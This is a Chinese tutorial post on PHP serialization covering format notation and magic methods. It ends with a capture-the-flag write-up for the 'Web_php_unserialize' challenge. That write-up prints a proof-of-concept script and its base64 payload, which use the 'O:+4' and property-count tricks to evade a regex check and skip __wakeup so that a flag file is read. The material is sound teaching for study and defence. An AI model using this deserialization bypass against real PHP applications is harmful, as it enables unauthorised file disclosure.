PHP序列化

释放双眼,带上耳机,听听看~!

序列化

serialize()将对象转变成一个字符串便于之后的传递与使用;
序列化会保存对象所有的变量,但是不会保存对象的方法;

反序列化

unserialize()将序列化的结果恢复成对象;
反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现;

例子


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1<?php
2class Demo{
3    private $file = 'index.php';
4    public function __construct($file) {
5        $this->file = $file;
6    }
7}
8
9$s = new Demo('test.php');
10$str = serialize($s);
11echo($str."\n");
12
13print_r(unserialize($str));
14
15$sir = unserialize($str);
16$sir->data();
17?>
18
19

结果:


1
2
3
4
5
6
7
8
1O:4:"Demo":1:{s:10:"Demofile";s:8:"test.php";}
2Demo Object
3(
4    [file:Demo:private] => test.php
5)
6sir
7
8

序列化格式:
布尔型:


1
2
3
4
5
1b:value
2b:0 //false
3b:1 //true
4
5

整数型:


1
2
3
4
5
1i:value
2i:1
3i:-1
4
5

字符型:


1
2
3
4
1s:length:"value";
2s:4:"aaaa";
3
4

对象:


1
2
3
4
1O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
2O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}
3
4

数组:


1
2
3
4
1a:<length>:{key; value pairs};
2a:1:{i:1;s:1:"a";}
3
4

NULL型:


1
2
3
1N
2
3

魔术方法

php 类中包含的一些以 _ 开头的函数:

__construct对象被创建时调用,但 unserialize() 时不会调用;

__destruct对象被销毁时调用;

__toString对象被当做字符串使用时调用,返回一个字符串(不仅 echo ,比如 file_exists() 也会触发);

__sleep序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组);

__wakeup恢复反序列化对象之前调用;

__call调用不存在的方法时;

反序列化漏洞

Web_php_unserialize

攻防世界Web_php_unserialize
PHP序列化
poc:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1<?php
2class Demo {
3    private $file = 'index.php';
4    public function __construct($file) {
5        $this->file = $file;
6    }
7    function __destruct() {
8        echo @highlight_file($this->file, true);
9    }
10    function __wakeup() {
11        if ($this->file != 'index.php') {
12            //the secret is in the fl4g.php
13            $this->file = 'index.php';
14        }
15    }
16}
17
18$s = new Demo('fl4g.php');
19
20$str = serialize($s);
21echo($str."\n");
22
23$str = str_replace('O:4', 'O:+4',$str);
24$str = str_replace(':1:', ':3:',$str);
25echo(base64_encode($str)."\n");
26?>
27
28

结果:


1
2
3
4
1O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
2TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
3
4

PHP序列化

给TA打赏
共{{data.count}}人
人已打赏
安全技术

c++ list, vector, map, set 区别与用法比较

2022-1-11 12:36:11

安全资讯

支付宝敬业福图文全攻略 一文教你搞定5张福卡

2016-12-23 21:20:34

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索